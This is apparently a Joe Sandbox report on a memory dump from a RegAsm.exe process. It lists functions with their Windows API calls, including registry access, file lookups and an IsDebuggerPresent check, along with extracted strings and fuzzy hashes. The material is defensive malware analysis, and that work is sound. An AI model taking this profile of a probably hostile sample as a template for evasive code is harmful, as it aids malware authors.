API String ID: 118556049-0
Opcode ID: 64c456d1e395d90cd9f57152b3a209ec1db7dc275c56c055df1ba3fd6e9adc9a
Instruction ID: f82dc409cc7c4648cb9c5907457237d8579e2b2fff98ba362f80d50d0599d3ef
Opcode Fuzzy Hash: 64c456d1e395d90cd9f57152b3a209ec1db7dc275c56c055df1ba3fd6e9adc9a
Instruction Fuzzy Hash: F9F044F0D0110CEBCB04EFA8C48569EFBB1EF44304F1081AAE80597395D6349E81CF89

Function 005015D0 Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMTD ref: 005015ED

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 447ac71598b3dc116efa500888dae4c866e98a5dfa53541c005fb7f7f3ba4b59
Instruction ID: 6e5b352f6a8f52c55cb621dbbcc2ef162f4cbb6482ba47df308109430fd32943
Opcode Fuzzy Hash: 447ac71598b3dc116efa500888dae4c866e98a5dfa53541c005fb7f7f3ba4b59
Instruction Fuzzy Hash: 59F03CB0C04209ABCF14EFA4C8496DDBFF4BB04344F1484AED8062B281D37A9694CF9A

Function 0051D2C0 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

Part of subcall function 0051D080: SetLastError.KERNEL32(000005B6), ref: 0051D12F

boost::exception::~exception.LIBCPMTD ref: 0051D304

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLastboost::exception::~exception
String ID:
API String ID: 2030483509-0
Opcode ID: 16b1dbb663fa5aa9c24686b118a717a3d2730958f088e094d431554a0d9c9ec4
Instruction ID: ff5c67a3e7b9212aa644432439788144593e38bbbff2ea1f1990219ba7d452e6
Opcode Fuzzy Hash: 16b1dbb663fa5aa9c24686b118a717a3d2730958f088e094d431554a0d9c9ec4
Instruction Fuzzy Hash: 77F08C71840549EBCB04DF84C956BAEBB74FB44B20F204328F426636C0DB351A01CBA1

Function 0055D2F6 Relevance: 1.3, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(00000008,?,0041C3C8,?,0055B2FF,00000001,00000364,0041C3C8,00000006,000000FF,?,?,0054F196,0055B6BB,-000C5C10), ref: 0055D337

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: a19238416f522192f2cc3cee66ec438ecc213c8f067f93c675563e7e7b1359b9
Instruction ID: 5cd5aba5811b6d114ec068d02a2fec25ed7578bc9b6888181c9083610b03bb26
Opcode Fuzzy Hash: a19238416f522192f2cc3cee66ec438ecc213c8f067f93c675563e7e7b1359b9
Instruction Fuzzy Hash: 47F0B433644625A6DB316E66DC29A6E3F68BFC07A2B174813AC44A7090DA64DD0D82F2

Function 0055B678 Relevance: 1.3, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(00000000,0041C3C8,-000C5C10,?,0053F098,0041C3C8,?,0041C3C8,00000000,?,0041A2D6), ref: 0055B6AA

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 6e9b39e9116b117d415c2d69b4abdddbabe72bd0950ce5a222cc93a79d75d85e
Instruction ID: cc7f7131f291be8a9c9042ece89db84227f38765bbf2b3f721639861c7855e15
Opcode Fuzzy Hash: 6e9b39e9116b117d415c2d69b4abdddbabe72bd0950ce5a222cc93a79d75d85e
Instruction Fuzzy Hash: EFE0E531600612ABFA307A69CC2CB5A7E68FF913F2F210123AC85A24D1CB60CC0886E0

Function 0050C860 Relevance: 1.3, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

CharNextA.USER32(00000000,00000000,?,0050C8B6,0050CEFF,0000002E,00000000,?,0050CEFF), ref: 0050C870

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: CharNext
String ID:
API String ID: 3213498283-0
Opcode ID: e0a00663e9917bfe8e8533278bc9554091e04477d1fbdc4f7316dc4c04211636
Instruction ID: 801a6765014e7c226577b46af75bab903e4d6e114b429212b2a5aa8e43c5073f
Opcode Fuzzy Hash: e0a00663e9917bfe8e8533278bc9554091e04477d1fbdc4f7316dc4c04211636
Instruction Fuzzy Hash: 22F03030A08149EBCB04CFA4C54047D7FF5EF47341B248699E845DB240E630DF00EB44

Non-executed Functions

Function 00540B17 Relevance: 15.2, APIs: 10, Instructions: 200fileCOMMON

Download Yara Rule

APIs

GetFileAttributesExW.KERNEL32(00440255,00000000,?), ref: 00540BAF
GetLastError.KERNEL32 ref: 00540BB9
FindFirstFileW.KERNEL32(00440255,?), ref: 00540BD0
GetLastError.KERNEL32 ref: 00540BDB
FindClose.KERNEL32(00000000), ref: 00540BE7
___std_fs_open_handle@16.LIBCPMT ref: 00540CA0

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorFileFindLast$AttributesCloseFirst___std_fs_open_handle@16
String ID:
API String ID: 2340820627-0
Opcode ID: f5509bfbb73f28e6a7c22b1c2ebd9390119b3cf7b4dd0755dd3159dbcd122163
Instruction ID: faffe21e27bc0f305324c4a1b7b8bb537f28374ba8378025ab867c66f95fe2f4
Opcode Fuzzy Hash: f5509bfbb73f28e6a7c22b1c2ebd9390119b3cf7b4dd0755dd3159dbcd122163
Instruction Fuzzy Hash: 89719F74A006199FCB64CF68CC897EABBB4FF05328F245659EA54E32D0D770AD44CB90

Function 004241E0 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 284registryCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00424243

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__aulldiv.LIBCMT ref: 00424288
__aulldiv.LIBCMT ref: 004243F9
RegOpenKeyExA.ADVAPI32(80000001,?,?,?,?,?,?,?,?,00000084,00000000,00000006,00000000,?,0000AA42,00000000), ref: 0042441F
RegCloseKey.ADVAPI32(?), ref: 00424472

Strings

j3l6lrek, xrefs: 00424547, 00424576
eks, xrefs: 00424489, 004244B8

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$CloseOpen
String ID: eks$j3l6lrek
API String ID: 2588155767-388657971
Opcode ID: 0d4903dcb3bba2f4546d7a579d7460305168b526899eb88fb3e0eac6a345f40b
Instruction ID: 103795faff3dc75198fe7e838d2c2ef9893245276282384fbc8ac03a6772abb9
Opcode Fuzzy Hash: 0d4903dcb3bba2f4546d7a579d7460305168b526899eb88fb3e0eac6a345f40b
Instruction Fuzzy Hash: 0BC15870E00218ABDB14CFA9DC85BAEBBB5FF88304F148099E509A7391DB746A85CF55

Function 004213A0 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 284registryCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00421403

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__aulldiv.LIBCMT ref: 00421448
__aulldiv.LIBCMT ref: 004215B9
RegOpenKeyExA.ADVAPI32(80000001,?,?,?,?,?,?,?,?,00000084,00000000,00000006,00000000,?,0000AA42,00000000), ref: 004215DF
RegCloseKey.ADVAPI32(?), ref: 00421632

Strings

j3l6lrek, xrefs: 00421707, 00421736
eks, xrefs: 00421649, 00421678

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$CloseOpen
String ID: eks$j3l6lrek
API String ID: 2588155767-388657971
Opcode ID: 19de898afe655fad50bd663661c9fa503fa7d66be0c28e7c1e065e1a4597b78c
Instruction ID: b3146d62438e5919c95d05171f48a34eeba0d9a7465ac5b11a53d7ade3c28336
Opcode Fuzzy Hash: 19de898afe655fad50bd663661c9fa503fa7d66be0c28e7c1e065e1a4597b78c
Instruction Fuzzy Hash: 22C15870E002189FDB14CFA9DC85BAEBBB5BF98304F148099E409A7391DB786A45CF55

Function 004413C0 Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 0053F3BA: AcquireSRWLockExclusive.KERNEL32(0058F970,?,-0000AA37,?,00431655,00591F6C,?,00000006,00000000,?,00000000,?,?,?,00000006,00000000), ref: 0053F3C5
Part of subcall function 0053F3BA: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,-0000AA37,?,00431655,00591F6C,?,00000006,00000000,?,00000000,?,?,?,00000006,00000000), ref: 0053F3FF

__aulldiv.LIBCMT ref: 004416D1

Part of subcall function 0053F369: AcquireSRWLockExclusive.KERNEL32(0058F970,-0000AA37,?,00431682,00591F6C), ref: 0053F373
Part of subcall function 0053F369: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,00431682,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000006), ref: 0053F3A6
Part of subcall function 0053F369: WakeAllConditionVariable.KERNEL32(0058F96C,?,00431682,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000006), ref: 0053F3B1

Strings

j3l6lrek, xrefs: 004417E9, 00441818
u, xrefs: 00441495
`, xrefs: 00441491
eks, xrefs: 0044172B, 0044175A

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease$ConditionVariableWake__aulldiv
String ID: `$eks$j3l6lrek$u
API String ID: 2808616827-2881601694
Opcode ID: 3406468498faec98548548b9663f71b9f719330eeacffa33460998d1a1f65328
Instruction ID: 8ab6e9ce3319384093341104d9a2b21840b71405fcc71f9493d5cc31c42fd701
Opcode Fuzzy Hash: 3406468498faec98548548b9663f71b9f719330eeacffa33460998d1a1f65328
Instruction Fuzzy Hash: 33E15574E002589FDF14DFA9C881BEEBBB1BF48304F1481AAE409A7351DB346A85CF65

Function 005680AD Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

PMDtoOffset.LIBCMT ref: 0056813F

Strings

Bad dynamic_cast!, xrefs: 00568181

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: Offset
String ID: Bad dynamic_cast!
API String ID: 1587990502-2956939130
Opcode ID: 1c650ca455341236fd1213845380998941d85408543324cca8085c5a18478208
Instruction ID: f19d2c95ebb76354a77f93d9628e6a78315183171e773ee225e128f32da5d284
Opcode Fuzzy Hash: 1c650ca455341236fd1213845380998941d85408543324cca8085c5a18478208
Instruction Fuzzy Hash: 6A511872A00209ABDB14DF68DC89ABA7FA5FF85320F048669F91597241EB31E915C790

Function 00561A7D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00561D8F,00000002,00000000,?,?,?,00561D8F,?,00000000), ref: 00561B16
GetLocaleInfoW.KERNEL32(?,20001004,00561D8F,00000002,00000000,?,?,?,00561D8F,?,00000000), ref: 00561B3F
GetACP.KERNEL32(?,?,00561D8F,?,00000000), ref: 00561B54

Strings

OCP, xrefs: 00561AD1
ACP, xrefs: 00561A9B

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 2113e3bc804042f240a17880f4ce4ac3704846396c0998f76672a70c69bfa294
Instruction ID: 983cb82131edf6204f8bb662b7374d236b912f73f85d76a6a4fbf273928b1c6d
Opcode Fuzzy Hash: 2113e3bc804042f240a17880f4ce4ac3704846396c0998f76672a70c69bfa294
Instruction Fuzzy Hash: 9321C832701900AADB34CFA5D901AB77FA6FF54B55B1E8424E90ADB224FB32DD40D398

Function 0042D4C0 Relevance: 8.0, APIs: 5, Instructions: 492COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 0042D652

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__aulldiv.LIBCMT ref: 0042D850

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: aec84927f16e8dfe820b040283e44fe2e5a50f53f3eb9e6af84a485f38a34a8a
Instruction ID: 23e853b555e9069725e4ecafefba24a0170bf7dcf49f94ae0c895b1450730d2b
Opcode Fuzzy Hash: aec84927f16e8dfe820b040283e44fe2e5a50f53f3eb9e6af84a485f38a34a8a
Instruction Fuzzy Hash: 35128EB1E00219ABEB14DF65DC41BEEBBB5BF88304F1481A9F809A7391DB346D848F55

Function 00561C59 Relevance: 7.7, APIs: 5, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0055B161: GetLastError.KERNEL32(00000000,005540CB,0055E6D2), ref: 0055B165
Part of subcall function 0055B161: SetLastError.KERNEL32(00000000,00000000,-000C5C10,00000006,000000FF), ref: 0055B207

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 00561D61
IsValidCodePage.KERNEL32(00000000), ref: 00561D9F
IsValidLocale.KERNEL32(?,00000001), ref: 00561DB2
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00561DFA
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00561E15

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: d812627599eb173158f76843dfb7c954ba88fbc6e7f1ba5579b23117cb07f40b
Instruction ID: 28c53ff5a6118fd8475840a5c473a2bc26a325fe034cd32b2e4b3a1e9bb8228c
Opcode Fuzzy Hash: d812627599eb173158f76843dfb7c954ba88fbc6e7f1ba5579b23117cb07f40b
Instruction Fuzzy Hash: BB51A171A00A06AFEF10DFA5CC45ABE7FB8BF54700F184529E911E7190EB709E44DB64

Function 005612E4 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 254COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0055B161: GetLastError.KERNEL32(00000000,005540CB,0055E6D2), ref: 0055B165
Part of subcall function 0055B161: SetLastError.KERNEL32(00000000,00000000,-000C5C10,00000006,000000FF), ref: 0055B207

GetACP.KERNEL32(?,?,?,?,?,?,005570A6,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 005613A3
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,005570A6,?,?,?,00000055,?,-00000050,?,?), ref: 005613DA
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 0056153D

Strings

utf8, xrefs: 005614AC

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8
API String ID: 607553120-905460609
Opcode ID: 366f4ab4fc0e797a5b1765e2c2743fb736d2819fa48c160778e9ed69748ec3a1
Instruction ID: f665b71ebbd9503dfa9e0f7c52ad768680e856bf5ef12902f820010e9c2cc31c
Opcode Fuzzy Hash: 366f4ab4fc0e797a5b1765e2c2743fb736d2819fa48c160778e9ed69748ec3a1
Instruction Fuzzy Hash: 35711871A00A06AADB24AF74CC4AB7B7BA8FF44351F18442AF906DB181EF70E844C758

Function 00552FC0 Relevance: 6.5, APIs: 4, Instructions: 455COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa100cb2a38d87852288492efb947405a2b95f30615ee2cd82694d777be17104
Instruction ID: cd3f1f4c768e4c099783c0c44eb9e290cd71f96e083f055c333203cd237631eb
Opcode Fuzzy Hash: fa100cb2a38d87852288492efb947405a2b95f30615ee2cd82694d777be17104
Instruction Fuzzy Hash: A5025D71E002199BDF14CFA8C8946AEFBF1FF48355F25866AD919E7380D731AA05CB90

Function 004210E0 Relevance: 6.3, APIs: 4, Instructions: 252COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 0042114D

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__aulldiv.LIBCMT ref: 004211CB
__aulldiv.LIBCMT ref: 00421290

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: 1e62f70b978328adeac8d8de739188f529e0ca637c410c20e81e72fd5948a679
Instruction ID: f1bf5cef4ad01f0650ac84401a382ea37bebf4af91f9e8d45baee07c2fcc71f0
Opcode Fuzzy Hash: 1e62f70b978328adeac8d8de739188f529e0ca637c410c20e81e72fd5948a679
Instruction Fuzzy Hash: 23917FB0F00208AFEB14DFA4DC45FAEBBB9BB98714F208119F909BB295D7746D018B55

Function 005408D1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32windowCOMMON

Download Yara Rule

APIs

GetLocaleInfoEx.KERNEL32(!x-sys-default-locale,20000001,00000000,00000002,?,?,0041F6CD,?,00000000), ref: 005408E5
FormatMessageA.KERNEL32(00001300,00000000,?,00000000,0041F6CD,00000000,00000000,?,?,0041F6CD,?,00000000), ref: 0054090C

Strings

!x-sys-default-locale, xrefs: 005408E0

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: FormatInfoLocaleMessage
String ID: !x-sys-default-locale
API String ID: 4235545615-2729719199
Opcode ID: 20989b94304a7defb237158a79aa7857ec4fe8fe38480a26bcda83b1aef4dd94
Instruction ID: e6f449c069e8266bc07f5b5083c71c697c63dafd853e85545037c404f3afc748
Opcode Fuzzy Hash: 20989b94304a7defb237158a79aa7857ec4fe8fe38480a26bcda83b1aef4dd94
Instruction Fuzzy Hash: 55F03076610205FFEB049B98CD4ADFF7FACEB19394B104015FA42E6180E2B0AE009BB0

Function 00561701 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 0055B161: GetLastError.KERNEL32(00000000,005540CB,0055E6D2), ref: 0055B165
Part of subcall function 0055B161: SetLastError.KERNEL32(00000000,00000000,-000C5C10,00000006,000000FF), ref: 0055B207

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00561755
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0056179F
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00561865

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: abb3b118be23b05544620ad42b731f955b6014f661306db9c610c23b11932163
Instruction ID: 5babe0878058c5b8ddcb14bccd165f51224b45e4844b6577e0b7ced4dffdfb4f
Opcode Fuzzy Hash: abb3b118be23b05544620ad42b731f955b6014f661306db9c610c23b11932163
Instruction Fuzzy Hash: 9161B171A40A179FEB289F28CC96BBA7BA8FF05700F184179E905C7581EB34DD80DB54

Function 00553EB0 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,-000C5C10), ref: 00553FA8
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,-000C5C10), ref: 00553FB2
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,-000C5C10), ref: 00553FBF

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: ae4722d8f1a7c9b29fc44d1c1219295276f2801d6cf18e58a217f17914540772
Instruction ID: d4497e92269fb50fbcd87de2455e9e21491ac5fecb637f7fe9597203be9ee631
Opcode Fuzzy Hash: ae4722d8f1a7c9b29fc44d1c1219295276f2801d6cf18e58a217f17914540772
Instruction Fuzzy Hash: 9C31D474D0121DABCB21DF68D88979DBBB8BF08310F5041EAE80CA7290E7749F858F44

Function 00561954 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 0055B161: GetLastError.KERNEL32(00000000,005540CB,0055E6D2), ref: 0055B165
Part of subcall function 0055B161: SetLastError.KERNEL32(00000000,00000000,-000C5C10,00000006,000000FF), ref: 0055B207

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 005619A8

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: bf76f013019ae81285f6fb0a949a8b3c871c4e85367c5c9c8ca91a591712fa33
Instruction ID: 95a04ca2861160305299b653092b407db36fa0dbf386d23cca7bbfa9b04f064b
Opcode Fuzzy Hash: bf76f013019ae81285f6fb0a949a8b3c871c4e85367c5c9c8ca91a591712fa33
Instruction Fuzzy Hash: D821D032611606ABEF289A65CC56ABA7BA8FF44306F18007AFD01D7141EB34DD44DB94

Function 005615DB Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0055B161: GetLastError.KERNEL32(00000000,005540CB,0055E6D2), ref: 0055B165
Part of subcall function 0055B161: SetLastError.KERNEL32(00000000,00000000,-000C5C10,00000006,000000FF), ref: 0055B207

EnumSystemLocalesW.KERNEL32(00561701,00000001,00000000,?,-00000050,?,00561D35,00000000,?,?,?,00000055,?), ref: 0056164D

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 76ba45ba18a43339644da77aaa2edbc188651a0d5fba0773c9ac5a1f4dd14ead
Instruction ID: 2f9f20468a5d80b81d053385a9496b9f23828809b8c14291a7156bd2674d2154
Opcode Fuzzy Hash: 76ba45ba18a43339644da77aaa2edbc188651a0d5fba0773c9ac5a1f4dd14ead
Instruction Fuzzy Hash: BD11E53A200B015FDB189F39D8A55BABBA1FF80369B1D442DE98787E40D771B942CB44

Function 00561B83 Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 0055B161: GetLastError.KERNEL32(00000000,005540CB,0055E6D2), ref: 0055B165
Part of subcall function 0055B161: SetLastError.KERNEL32(00000000,00000000,-000C5C10,00000006,000000FF), ref: 0055B207

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,005619FE,00000000,00000000,?), ref: 00561BAF

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 88ae0258e559f39c4d20f6113780a9af660f7ba46f3c45625da2f5fc5e220631
Instruction ID: 4a83d25d18352b69a8d0992307126de17c3864879766d4c7cdc55cb9804267e3
Opcode Fuzzy Hash: 88ae0258e559f39c4d20f6113780a9af660f7ba46f3c45625da2f5fc5e220631
Instruction Fuzzy Hash: EF01F936600516BFDF285A64CC09AFA3F68FF80754F1D4429EC06A3690FA70FD41C698

Function 005614E9 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 0055B161: GetLastError.KERNEL32(00000000,005540CB,0055E6D2), ref: 0055B165
Part of subcall function 0055B161: SetLastError.KERNEL32(00000000,00000000,-000C5C10,00000006,000000FF), ref: 0055B207

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 0056153D

Strings

utf8, xrefs: 005614AC

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID: utf8
API String ID: 3736152602-905460609
Opcode ID: e920e616485f612076260c90c7fa993878f4f96ffc68cebfb9f38966c38a13f6
Instruction ID: 6b53c85db9ff1733ed28d5bdaefffc590d355fb31726cdbc6c9ce9357e9d6777
Opcode Fuzzy Hash: e920e616485f612076260c90c7fa993878f4f96ffc68cebfb9f38966c38a13f6
Instruction Fuzzy Hash: D5F0F432A1020AABDB14AB64DC5AABA77ACEF94310F14107AE902D7241EB74AD088750

Function 00561676 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0055B161: GetLastError.KERNEL32(00000000,005540CB,0055E6D2), ref: 0055B165
Part of subcall function 0055B161: SetLastError.KERNEL32(00000000,00000000,-000C5C10,00000006,000000FF), ref: 0055B207

EnumSystemLocalesW.KERNEL32(00561954,00000001,?,?,-00000050,?,00561CFD,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 005616C0

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 726b422517d2e01ac540394c41337888bf448a90b99fbbdf0c810e89f4302f1c
Instruction ID: 21d6804249d14571311d903e4a3f02e0d861ea9c34bdca5abd4a8089b5b2bb4a
Opcode Fuzzy Hash: 726b422517d2e01ac540394c41337888bf448a90b99fbbdf0c810e89f4302f1c
Instruction Fuzzy Hash: ACF0223A2007051FDB249F39C895A7A7F94FB803A8F0D442DF9458BA80C2B19C02CB44

Function 0055B795 Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

